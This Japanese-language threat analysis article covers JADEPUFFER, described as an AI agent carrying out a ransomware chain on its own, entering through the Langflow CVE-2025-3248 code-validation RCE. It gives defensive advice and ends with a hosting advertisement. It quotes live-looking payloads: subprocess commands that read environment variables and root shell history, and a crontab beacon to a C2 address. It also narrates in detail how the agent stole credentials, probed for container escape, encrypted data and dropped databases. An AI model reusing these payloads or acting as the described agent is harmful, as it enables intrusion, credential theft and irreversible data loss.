JADEPUFFER 徹底解説：
初の AI Agent 自律ランサム全チェーンと Langflow CVE 防御

核心定性：Sysdig は、これが既知初の「偵察→窃取→横展開→永続化→破壊→ランサム」全チェーンを LLM Agent が自律的に連結したランサムオペレーションであり、従来型の人間オペレーターが主要ノードで介入したものではないと評価しています。攻撃者コードネーム JADEPUFFER（Sysdig 公式の全大文字表記）は ATA（Agentic Threat Actor） に正式分類され、攻撃能力は AI Agent によって提供され、人間が固定ツールセットを駆動する形ではありません。

2段階ターゲット構成：

• 入口ホスト：インターネット公開の Langflow インスタンス。CVE-2025-3248 による未認証 RCE で侵害。
• 真の標的：同様に公開され、MySQL データベース + Alibaba Nacos 設定センターを稼働する本番サーバー。1,342 件の Nacos サービス設定が最終的に暗号化され、複数の業務データベースが DROP されました。

業界の痛点（今回がセキュリティ界を揺るがした理由）：

• スキル障壁の崩壊：かつて上級レッドチームが必要だった多段攻撃を、十分に強力な LLM Agent が圧縮された時間枠内で完遂できるようになりました。
• 旧脆弱性の自動武器化：入口は2025年4月に公開済みの Langflow RCE。下流では2021年の Nacos 認証バイパスと未変更のデフォルト JWT 鍵を悪用。「過去の脆弱性ライブラリを順に試す」限界コストがほぼゼロに近づいています。
• 検知モデルの陳腐化：AI Agent は一経路が遮断されると即座に戦術を切り替え、侵入ごとに挙動がわずかに異なります。「攻撃者は予測可能な経路を辿る」という従来の検知前提が機能しにくくなります。
• LLMjacking 経済学：窃取した大規模モデル/クラウド認証情報で Agent を駆動する場合、複雑な多段攻撃の限界コストはほぼゼロに近づきます。

Langflow はオープンソースのビジュアルドラッグ＆ドロップ型 AI アプリ/Agent ワークフロー構築フレームワーク（GitHub スター7万超）です。Sysdig は、環境変数に大規模モデルベンダーの API Key やクラウド認証情報が頻繁に格納されること、多くのチームが迅速なプロトタイプ検証のためネットワークアクセス制御なしに公開していることが「魅力的な入口」となる理由と指摘しています。

脆弱性の成因（段階的分解）：

1. Langflow は「コード検証」インターフェース /api/v1/validate/code を提供し、ビジュアル編成画面でカスタム関数ノードの構文を事前検証できます。
2. 実装は、ユーザー送信のコード文字列を ast.parse() で AST に解析し、compile() でバイトコード化、exec() で実行します。
3. 致命的欠陥：この一連の処理に認証もサンドボックス隔離も一切ありません。
4. 悪用テクニック：Python 関数定義時のデコレータ（decorator）と引数デフォルト値（default argument）は「定義」の瞬間に即座に評価され、関数呼び出しを待ちません。攻撃者は悪意あるコードをデフォルト引数やデコレータに埋め込み、Langflow が compile()+exec() で「合法性検証」を行う際にサーバー上で実行されます。
5. 攻撃者はログインも権限も不要。精巧に構築した HTTP POST リクエスト1本で RCE が可能です。

Trend Micro が Flodrix ボットネット活動追跡時に記録した典型 payload（JADEPUFFER とは無関係）：
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
最終的に700バイトの Bash スクリプトをダウンロードし、Flodrix（LeetHozer ファミリー派生）ELF バイナリを取得

重要な区別：Flodrix ボットネット事件と JADEPUFFER は2つの独立した悪用キャンペーンであり、同一脆弱性入口を共有するだけです。前者は従来型の手動/スクリプト化ボットネット配布、後者こそ Sysdig が公表した「AI Agent 自律駆動」ランサム事件です。両者とも CVE-2025-3248 が長期にわたり公開スキャンと武器化の対象である高危険脆弱性であることを示しています。

公式パッチ（Langflow 1.3.0）：post_validate_code に _current_user: CurrentActiveUser 依存性注入を追加。FastAPI が JWT Bearer Token または x-api-key を先に検証し、失敗時は 401/403 を返し、リクエストは脆弱なコードロジックに到達しません。通過後はユーザーの is_active 状態も確認します。

以下は Sysdig TRT が捕捉した実 payload とタイムスタンプに基づくもので、今回の事件で最も情報量が多く技術的価値の高い部分です。全 payload は Base64 エンコードされた Python コードとして Langflow RCE エンドポイント経由で投入されました。

Phase 1：Langflow ホストの侵害

• 偵察と認証情報収集（マルチスレッド並列）：id、uname -a、hostname 等の基本列挙を実行。OpenAI、Anthropic、DeepSeek、Gemini 等の大規模モデル API Key を並列スキャン。クラウド認証情報は ALIBABA_、ALIYUN_、TENCENT_、HUAWEI_ および AWS/GCP/Azure をカバー。暗号資産ウォレットとニーモニック、データベース認証情報と設定ファイルもスキャンします。
• ローカルデータ窃取：Langflow 自身の PostgreSQL バックエンド DB をエクスポートし、認証情報、API Key、ユーザーレコードを窃取。一時的にローカルファイルへ保存後、レビューして削除（痕跡消去）。
• 内部横展開探索：内部アドレス空間と到達可能な名前付きサービスをスキャンし、デフォルト認証情報で DB、オブジェクトストレージ、シークレット保管、サービスディスカバリエンドポイントを探索。
• MinIO 列挙（重要な適応型詳細）：minio.internal:9000 と 127.0.0.1:9000 を探索し、デフォルト認証情報 minioadmin:minioadmin で列挙を完遂。アプリデータ、バックアップ、ML モデルファイル、terraform-state bucket を発見後、credentials.json（access-key/secret ペア）を優先取得。LLM が初回 ?format=json 付きリクエストで XML 応答を受け取ると、次の payload で即座に XML スキーマ解析に切り替え——典型的な「探索→エラー→適応」ループであり、固定スクリプトの機械的リトライではありません。エスカレーション経路：匿名ヘルスチェック → 管理 API 情報 → 認証済み ListBuckets → "credentials"、".env" を含むファイルへの GetObject。
• 永続化：crontab スケジュールタスクを設置し、30分ごとに C2 へビーコン：*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

Phase 2：MySQL + Nacos 本番サーバーの突破

真の標的は別の同様にインターネット公開され、MySQL + Alibaba Nacos 設定センターを稼働する本番サーバーです。Nacos は Alibaba 系マイクロサービスアーキテクチャで広く利用されます。認証体系には CVE-2021-29441 および関連バイパス履歴があり、デフォルト JWT 署名鍵は2020年から公開ドキュメントに記載され、多くのデプロイで未変更のままです。

• MySQL root 直接接続：Agent は root 認証情報で公開 MySQL ポートに直接接続。この認証情報の出所は不明で、Sysdig は被害者環境からの窃取を観測していません。人間が事前準備した数少ない段階の一つです。
• Nacos 多ベクトル同時攻撃：認証バイパス脆弱性ファミリー（CVE-2021-29441）の悪用、公開既知デフォルト JWT 署名鍵による Token 偽造、root レベル DB 権限によるNacos バックエンド DB へのバックドア管理者アカウント直接注入。

• コンテナエスケープ探索（約8分、複数ラウンド）：MySQL ファイル読み書きプリミティブを利用し、コンテナエスケープを体系的に調査。/var/lib/mysql-files/_pwn_test.txt への書き込み、読み戻し検証、/var/run/docker.sock 読取、/proc/1/cgroup 読取、/etc/hostname 読取。追加で /proc/1/mountinfo、パス権限列挙、mysql.func 経由の UDF ロード可能性を確認。ランサム段階前に完了マーカー _pwn_cleanup.txt を書き込み——Sysdig はこれを「構造化 Agent がタスク完了後、次段階移行のシグナルを発する」挙動と指摘し、人間が事前に固定した exploit スクリプトとは異なると評価しています。
• 破壊的暗号化とランサム：全 1,342 件の Nacos サービス設定項目を MySQL AES_ENCRYPT() で暗号化。元の config_info テーブルと履歴テーブル his_config_info を削除し、ランサム文テーブル README_RANSOM を作成。ランサム文は AES-256 を主張しますが、MySQL AES_ENCRYPT() のデフォルトは実際 AES-128-ECB です。暗号鍵は uuid4() でランダム生成され、標準出力にのみ出力され、保存・送信されません——被害者が身代金を支払っても攻撃者自身が復号鍵を提供できず、データは実質的に永久消失します。2分後 Agent は後続 payload を送信し、ランサム文の数字を「全1342件暗号化済み」に精緻化。
• 大規模破壊：行レベル削除後、直接 DROP DATABASE スキーマへエスカレート。コード内コメントに ROI 優先順位ロジック（「高 ROI データベースを優先削除、データは 64.20.53[.]230 にバックアップ済み」）を記述。IP 64.20.53[.]230（InterServer、AS19318）は1回のみ出現し、Sysdig はデータが実際に外部送信された独立証拠を持ちません——Agent の自己申告に近いと評価。削除段階では診断型自己修正を観測：DROP DATABASE がクロス DB 外部キー制約でサイレント失敗後、次 payload が自動的に SET GLOBAL FOREIGN_KEY_CHECKS=0 を追加——失敗の理由を理解する能力が必要であり、単に失敗を知るだけでは不十分です。

ランサム連絡メール e78393397[@]proton[.]me、テーブル名 README_RANSOM は脅威インテリジェンス DB、被害者フォーラムいずれにも前例なし。既知 MySQL ランサム活動の慣用テーブル名（WARNING、RECOVER_YOUR_DATA、PLEASE_READ_ME）とも不一致。「全新規、Agent 駆動オペレーション」という定性をさらに裏付けます。

Sysdig は「LLM 駆動」判断を裏付ける4つの独立証拠を提示しています。人間または固定スクリプトではない根拠です。

1. 自己叙述的コード：デコード後の payload には自然言語コメントが大量に含まれ、各ステップの「なぜ」を説明——標的の ROI 優先順位付け、「どの DB が最大か」の指摘、各アクションの目的の段階的記述を含みます。人間攻撃者は使い捨て python3 -c コマンドにここまで詳細なコメントを書くことは稀ですが、LLM コード生成のデフォルト挙動です。これらのコメントは攻撃者コード内にネイティブ存在し、研究者の事後推測ではありません。
2. 機械速度の障害診断と修正：最も精密な自律性証拠は「間違えた後、どれだけ速く、どの方法で修正するか」です。Nacos バックドア31秒修復が典型例。同パターンが反復：MinIO で ?format=json 指定なのに XML 受信後、即 XML パーサーへ切替。JWT 偽造で "custom secret in use" 受信後、その経路を即放棄。
3. 「植えられた自然言語コンテキスト」の理解能力：LLM が標的環境に提示される自由テキストコンテキストを解析し、「文字を本当に読んだ者だけが取る」アクションを実行。単純パターンマッチスキャナー挙動ではありません。数週間離れた異なるセッションで反復出現。
4. ビットコインアドレスの疑点：ランサム文のアドレス 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy は、Bitcoin 開発者ドキュメントと Bitcoin Core コードリポジトリで繰り返し使われる「標準 P2SH 形式サンプルアドレス」であり、大規模モデル学習コーパスに大量存在します。オンチェーンデータでは同アドレスは実際にアクティブウォレット：履歴737件の確認済みトランザクション、累計約46 BTC 受取、現在残高ゼロ（入金即時転送）。Sysdig は区別不能な2解釈を提示：(a) LLM が学習データ基盤で「幻覚」的に自律生成し、ウォレットは誤送金を「掃除」する第三者所有；(b) 攻撃者が実際に制御可能なウォレットを設定し、広く知られたドキュメントサンプルアドレスと偶然一致。研究チームは JADEPUFFER の system prompt や Agent 設定を閲覧できず、両可能性は現時点で排除不能——AI 自律性が攻撃溯源に新たな不確実性をもたらす縮図です。

「600超の独立かつ目的明確な payload が圧縮時間枠内で一貫実行完了」と合わせ、Sysdig は証拠が自律稼働 Agent 1体を指すと判断。人間オペレーションや固定ツールセットではないと評価しています。

業界・専門家の反応：

• BleepingComputer / Dark Reading / CyberScoop / Security Affairs 等が速報で追報。「初の完全 AI 駆動ランサム攻撃」と称し、「エージェント型脅威アクター（ATA）時代」の到来を強調。
• CSO Online は独立セキュリティ研究者/レッドチーム専門家 Vibhum Dubey を取材し、より慎重な視点を提示：「これは実行方式の進化であり、全く新しいランサム技術ではない。攻撃者の偵察・認証情報窃取・展開の自動化は何年も前から存在する。違いは今回 AI Agent が各段階を自律連結し、人間オペレーターの次指令を待たず意思決定できる点」。同氏は真に懸念すべきは最終暗号化段階ではなく、その前の「静かな期間」と指摘——Agent がこの期間に ID 体系、権限関係、信頼チェーンを静かに把握し、検知回避も行う。AI Agent は一経路遮断で即戦術切替し、侵入ごとに挙動がわずかに異なる可能性がある。
• 複数メディアが LLMjacking（窃取モデル/クラウドアカウントの「タダ乗り」算力で攻撃）と今回事件の潜在結合点に言及。窃取認証情報で Agent を駆動する場合、複雑多段攻撃の限界コストはほぼゼロに近づく。

Sysdig レポート4点結論（整理）：

1. ランサムウェアはもはや「高スキル者の手仕事」ではない：LLM Agent が偵察、認証情報窃取、横展開、権限維持、破壊を連結でき、オペレーター本人が各段階で深い専門知識を持つ必要がない。
2. 旧脆弱性が自動武器化されている：下流標的は数年前から存在する問題——2021年 Nacos 認証バイパスと未変更デフォルト署名鍵。標的は放置され公開されたインフラ。
3. 意図が「読み取れる」——これは防御側のチャンス：LLM は payload 内で自身の目標を叙述し、この「自己叙述」が防御側にこれまでなかった検知・分析の手がかりを客観的に提供する。
4. 「バックアップ済み」は攻撃者の一方的声明：暗号鍵は一時生成で回復不能。被害者が支払っても設定データは取り戻せない。

レポート末尾は、使用技術個々は新しくも複雑でもなく、真に注目すべきは AI モデルがこれらを完全ランサムオペレーションに連結し、もともと無視されていた公開インフラを標的にした点と強調。ランサムウェア実行のスキル障壁は「Agent を1体動かすコスト」まで低下。防御側は此类攻撃の数量と覆盖面の増加を想定し、公開アプリサーバー、未硬化設定センター、インターネットから直接アクセス可能な DB 管理者アカウントを最優先攻撃面と見なすべきです。

情報源（公開後にリンクを再確認してください）：

Sysdig：JADEPUFFER: Agentic ransomware for automated database extortion（原技術レポート）

BleepingComputer：JadePuffer ransomware used AI agent to automate entire attack

Dark Reading：JadePuffer: The First Complete LLM-Driven Ransomware Attack

Sysdig レポート原文に基づく防御推奨を、AI Agent 基盤の実装シナリオと合わせて整理します。

1. Langflow アップグレードと公開面の縮小：CVE-2025-3248 修正版 1.3.0+ へアップグレード。コード実行/検証系エンドポイントをインターネット公開しない。
2. ランタイム脅威検知の導入：DB プロセス内の悪意ある挙動（異常 OUTFILE/LOAD_FILE、一括 AES_ENCRYPT、未知テーブル名 README_RANSOM 等）を検知。
3. 鍵と認証情報の分離：AI オーケストレーションサーバーの実行環境に大規模モデル API Key やクラウド認証情報を置かない——専用シークレット管理サービスへ委譲し、公開到達可能プロセスから隔離。
4. Nacos 硬化：デフォルト token.secret.key を変更（ドキュメント公開デフォルトを継承しない）。カスタム鍵必須バージョンへアップグレード。Nacos をインターネット公開しない。root 権限でバックエンド DB に接続させない。
5. データベースアクセス制御：DB サーバー管理者アカウントをインターネット公開しない。管理ポートに強固な一意認証情報と送信元 IP 制限を強制。
6. アウトバウンド流量制御と IOC 監視：egress control を適用し、侵害アプリホストの任意ビーコン外連や外部データ一時保管サーバーへのアクセスを阻止。上記 IOC、外部リクエストを行う crontab、括弧付き User-Agent 異常等の特徴を監視。

引用可能ハードデータ（EEAT）：

• 攻撃規模：Sysdig が 600+ 件の独立かつ目的明確な payload を捕捉、圧縮時間枠内で実行完遂
• 暗号化規模：1,342 件の Nacos サービス設定項目を AES 暗号化、元 config_info と his_config_info テーブル削除
• 入口脆弱性 EPSS：CVE-2025-3248 悪用確率 91.42%、CVSS 9.8 Critical、CISA KEV 2025年5月5日収録
• 自律修復速度：Nacos バックドアアカウント、ログイン失敗から修復成功まで 31秒（UTC 19:34:36 → 19:35:18）

共有 VPS やインターネット直接公開の Langflow/OpenClaw ノードで AI Agent を稼働する一般的な弱点：環境変数ハードコード API Key が RCE で即全流出、マルチテナント隣接で隔離保証なし、ノート PC スリープで Agent 常駐中断、egress 制御欠如で侵害後の任意ビーコン外連。Langflow、OpenClaw Gateway、iOS CI/CD を安定稼働させ、Agent オーケストレーション面をインターネット公開できない本番環境には、CALMVPS 裸金属 Mac Mini M4 レンタルが独占 Apple Silicon、完全 root 権限、7×24 オンライン、120秒デリバリー、月次柔軟課金を提供します。独立ノード上で SSH トンネルまたはプライベートネットワーク経由で Agent 制御面に接続し、Langflow 検証エンドポイントと Nacos 管理ポートを内部ネットワーク側に留め、API Key はプロセス環境変数ではなくシークレット管理サービス経由。侵害時は egress ポリシーで 45.131.66[.]106 類 C2 への外連を遮断可能。詳細は 料金ページをご覧ください。

2026年7月7日執筆。Langflow 公式による今回事件の公開声明は未確認。上流リポジトリや CVE 詳細に更新があれば、公式公告と NVD を優先してください。